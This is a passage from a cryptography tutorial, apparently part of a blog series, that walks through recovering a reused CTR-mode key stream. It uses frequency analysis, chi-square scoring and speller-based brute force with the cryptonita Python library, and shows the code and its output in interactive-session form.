&lt;p&gt;In other words, it performs a xor &lt;em&gt;reusing&lt;/em&gt; the key stream and we already know how to &lt;a href="/articles/2018/03/01/In-XOR-We-Trust.html"&gt;break a repeating xor key cipher&lt;/a&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Quick recap: because the key stream was reused, the ith byte of all the ciphertexts was xor’d with the &lt;em&gt;same&lt;/em&gt; key byte and therefore, xor’ing two ciphertexts will remove the key stream leaving us the xor of the two underlying plaintexts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We notice that not all the ciphertexts are of the same length so to simplify we need to uniform their lengths.&lt;/p&gt;
&lt;p&gt;For example, we could truncate all the ciphertexts to the length of the smallest.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ciphertexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tplaintexts&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plaintexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, because the repeating key is along the column axis (eg, the first byte of all the plaintexts were xored with the same key byte), it is more convenient to &lt;em&gt;transpose&lt;/em&gt; them.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;transpose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;    &lt;span class="c1"&gt;# rows&lt;/span&gt;
&lt;span class="mi"&gt;53&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# columns&lt;/span&gt;
&lt;span class="mi"&gt;60&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="plaintext-statistic-model"&gt;Plaintext statistic model&lt;/h3&gt;
&lt;p&gt;To perform a frequency attack we need the most common letters of the plaintext.&lt;/p&gt;
&lt;p&gt;Given an English text, these are the classical &lt;a href="https://en.wikipedia.org/wiki/Etaoin_shrdlu"&gt;ETAOIN-SHRDLU&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring.freq&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But consider the first byte of all the plaintexts.&lt;/p&gt;
&lt;p&gt;If they are the begin of a sentence it is very likely that they are in uppercase and the first letter of a word &lt;strong&gt;may not&lt;/strong&gt; (and will not) follow the ETAOIN-SHRDLU frequency.&lt;/p&gt;
&lt;p&gt;Therefore we need &lt;em&gt;another&lt;/em&gt; statistical model, one for the upper case:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring.freq&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tsamcin_brped&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Yes, I know, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tsamcin_brped&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is a terrible name but it is aligned with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="score-a-decryption-using-chi-square-test"&gt;Score a decryption using Chi-square test&lt;/h3&gt;
&lt;p&gt;The frequency attack (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) implemented in &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt; returns a guess: a set of possible key bytes.&lt;/p&gt;
&lt;p&gt;To determine the correct key we need to try each of them by brute force (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and &lt;em&gt;“see”&lt;/em&gt; which looks more “human text”.&lt;/p&gt;
&lt;p&gt;For this we &lt;em&gt;observe&lt;/em&gt; the frequency of the letters in the deciphered plaintext and compare them with the &lt;em&gt;expected&lt;/em&gt; frequency using a &lt;a href="https://en.wikipedia.org/wiki/Chi-squared_test"&gt;Chi-square test&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;a href="https://pypi.org/project/cryptonita/"&gt;cryptonita&lt;/a&gt;, this is implemented in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fit_freq_score&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;fit_freq_score&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;fit_freq_score&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; can be a little drastic; if the brute force yields none key we roll back and score using a more relaxed score function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As you may guess, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; returns &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; if all the characters in the deciphered plaintext are ASCII and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; otherwise.&lt;/p&gt;
&lt;h3 id="guess-the-ctr-key-stream"&gt;Guess the CTR key stream&lt;/h3&gt;
&lt;p&gt;Mixing all this together:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;functools&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;guesses&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="c1"&gt;# we iterate over each column (the i==0 correspond to the first letter)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts_transposed&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# first letter, use a special statistical model&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;most_common&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tsamcin_brped&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;most_common&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;etaoin_shrdlu&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# frequency attack, try to find the most likely key bytes&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# for the ith letter&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;freq_attack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# build a score function using the fit_freq_score parametrized&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# with the &amp;quot;expected&amp;quot; probabilities from our model&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# fit_freq_score will take an input and from there it will obtain&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# the &amp;quot;observed&amp;quot; probabilities and will compare them with the&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# expected using Chi-Square.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;score_fun&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fit_freq_score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;expected_prob&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;most_common&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# Try every possible key byte from our freq_attack scoring&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# the deciphered outputs with the fit_freq_score. Poor scored&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# are drop so we should only have left the most likely keys.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;score_fun&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# but may be fit_freq_score is too restrictive.&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# rollback to a much lax/loose score function (but with&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="c1"&gt;# more false positives)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;g&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;all_ascii_printable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;byte_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;g&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;byte_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s peek how large is our key stream (determined by how we cut the ciphertexts with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;uniform_length&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;) and how many different keys we have (we are still guessing so there is not one single answer yet)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klength&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;klength&lt;/span&gt;
&lt;span class="mi"&gt;53&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.fuzzy_set&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;len_join_fuzzy_sets&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;len_join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;1690&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Considere for a moment those numbers. Of 53 characters we initially have a key space of \(256^{53}\), a number that has more than 100 digits.&lt;/p&gt;
&lt;p&gt;But with a frequency attack and a good score function we managed to reduce the key space to only 1690.&lt;/p&gt;
&lt;h3 id="how-close-are-out-guesses"&gt;How close are out guesses?&lt;/h3&gt;
&lt;p&gt;Let’s build the key stream (still a guess):&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.fuzzy_set&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;join_fuzzy_sets&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;join_fuzzy_sets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guesses&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now, we take the most likely of our guesses:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;most_likely&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However this is not enough. This key stream is not the correct one:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;
&lt;span class="kc"&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But we are &lt;em&gt;very close&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;sum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;q&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="n"&gt;klength&lt;/span&gt;
&lt;span class="mf"&gt;0.9811&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;...&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Not only it is very close, the true key stream is there, in one of our guesses!&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;kstream&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But how we can pick it without cheating? without using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;tplaintexts&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as it is supposed to be the unknown here?&lt;/p&gt;
&lt;p&gt;Yes, with more brute force!&lt;/p&gt;
&lt;h3 id="speller-based-score"&gt;Speller based score&lt;/h3&gt;
&lt;p&gt;Brute force, but clever.&lt;/p&gt;
&lt;p&gt;We can use a score based on well English written text using a &lt;em&gt;speller&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In this case, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;good_written_word_score&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; takes a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;aspell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Speller&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and it will return a score based on how many words in the deciphered text are correctly spelled (weighting each word by its length)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;aspell&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.scoring&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;good_written_word_score&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;partial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;good_written_word_score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;speller&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;aspell&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Speller&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;word_weight_fun&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;brute_force&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tciphertexts&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;score&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;kstream_guess&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cut_off&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

